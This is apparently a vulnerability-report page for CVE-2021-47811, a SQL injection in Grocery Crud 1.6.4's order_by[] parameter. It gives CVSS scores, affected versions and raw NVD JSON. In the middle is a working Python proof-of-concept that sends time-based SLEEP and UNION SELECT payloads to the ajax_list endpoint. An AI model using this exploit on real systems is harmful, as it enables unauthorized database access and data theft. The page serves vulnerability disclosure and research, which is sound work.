Security Vulnerability Report
中文
CVE-2021-47811 CVSS 9.1 CRITICAL

CVE-2021-47811

Published: 2026-01-16 00:16:26
Last Modified: 2026-02-02 16:16:15

Description

Grocery Crud 1.6.4 contains a SQL injection vulnerability in the order_by parameter that allows remote attackers to manipulate database queries. Attackers can inject malicious SQL code through the order_by[] parameter in POST requests to the ajax_list endpoint to potentially extract or modify database information.

CVSS Details

CVSS Score
9.1
Severity
CRITICAL
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

cpe:2.3:a:grocerycrud:grocery_crud:*:*:*:*:*:*:*:* - VULNERABLE
Grocery Crud 1.6.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import sys # CVE-2021-47811 PoC - Grocery Crud SQL Injection in order_by parameter # Target: Grocery Crud 1.6.4 # Endpoint: ajax_list def exploit_sqli(target_url): """ SQL Injection PoC for CVE-2021-47811 This exploits the order_by[] parameter in the ajax_list endpoint """ # Target endpoint endpoint = f"{target_url.rstrip('/')}/ajax_list" # Malicious payload to extract database version # Using time-based blind SQL injection for safe exploitation payload = "1 AND (SELECT 1 FROM (SELECT SLEEP(5))x)--" # Construct POST data post_data = { 'order_by[]': payload, 'page': 1, 'per_page': 10 } print(f"[*] Target: {endpoint}") print(f"[*] Payload: {payload}") try: # Send malicious request response = requests.post(endpoint, data=post_data, timeout=10) print(f"[+] Response Status: {response.status_code}") print(f"[+] Response Time: {response.elapsed.total_seconds()}s") if response.elapsed.total_seconds() >= 5: print("[!] Vulnerability Confirmed - SQL Injection Successful") return True else: print("[-] Target may not be vulnerable") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False def extract_data(target_url): """ Extract database information using UNION-based injection """ endpoint = f"{target_url.rstrip('/')}/ajax_list" # UNION-based injection to extract database name union_payload = "1 UNION SELECT database(),2,3,4,5,6,7,8,9,10--" post_data = { 'order_by[]': union_payload, 'page': 1, 'per_page': 10 } print(f"[*] Extracting database information...") try: response = requests.post(endpoint, data=post_data, timeout=10) print(f"[+] Response received") return response.text except Exception as e: print(f"[-] Error: {e}") return None if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url>") print(f"Example: python {sys.argv[0]} http://victim.com/grocery-crud") sys.exit(1) target = sys.argv[1] exploit_sqli(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2021-47811", "sourceIdentifier": "[email protected]", "published": "2026-01-16T00:16:26.273", "lastModified": "2026-02-02T16:16:14.893", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Grocery Crud 1.6.4 contains a SQL injection vulnerability in the order_by parameter that allows remote attackers to manipulate database queries. Attackers can inject malicious SQL code through the order_by[] parameter in POST requests to the ajax_list endpoint to potentially extract or modify database information."}, {"lang": "es", "value": "Grocery Crud 1.6.4 contiene una vulnerabilidad de inyección SQL en el parámetro order_by que permite a atacantes remotos manipular consultas de base de datos. Los atacantes pueden inyectar código SQL malicioso a través del parámetro order_by[] en solicitudes POST al endpoint ajax_list para potencialmente extraer o modificar información de la base de datos."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:grocerycrud:grocery_crud:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.0.1", "matchCriteriaId": "5B0359BE-13DC-47F5-91BD-6A56C52BE1A1"}]}]}], "references": [{"url": "https://www.exploit-db.com/exploits/49985", "source": "[email protected]", "tags": ["Exploit"]}, {"url": "https://www.grocerycrud.com/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.grocerycrud.com/downloads", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/grocery-crud-orderby-sql-injection", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.exploit-db.com/exploits/49985", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit"]}]}}